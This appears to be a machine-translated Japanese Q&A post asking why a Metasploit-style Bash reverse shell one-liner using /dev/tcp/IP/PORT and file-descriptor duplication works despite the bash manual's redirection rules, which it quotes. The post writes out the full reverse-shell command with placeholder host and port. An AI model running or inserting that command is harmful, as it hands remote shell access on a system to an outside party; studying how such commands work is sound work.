場合によっては、ダミーファイルがリダイレクト/dev/tcp/IP/PORT
(ファイル記述子の重複)と結合されている次のようなBashリバースシェルが表示されることがあります。
0<&202-;exec 202<>/dev/tcp/IP/PORT;sh <&202 >&202 2>&202
しかし、上記のコマンドが(Metasploitで)機能するのはなぜですか?以下の文書(man bash
)によると、入力に有効なファイル記述子が開かれていない0<&202-
ため、失敗する必要がありますか?202-
ボーナスの質問:/dev/tcp/IP/PORT
常に入力ファイル記述子と出力ファイル記述子として使用できますか?
リダイレクト演算子[n] <&wordは、入力ファイル記述子をコピーするために使用されます。単語が1つ以上の数字に展開されると、nで表されるファイル記述子はそのファイル記述子のコピーになります。単語の数字が入力用に開かれたファイル記述子を指定しないと、リダイレクトエラーが発生します。単語が - と評価されると、ファイル記述子 n が閉じられます。 nを指定しないと、標準入力(ファイル記述子0)が使用されます。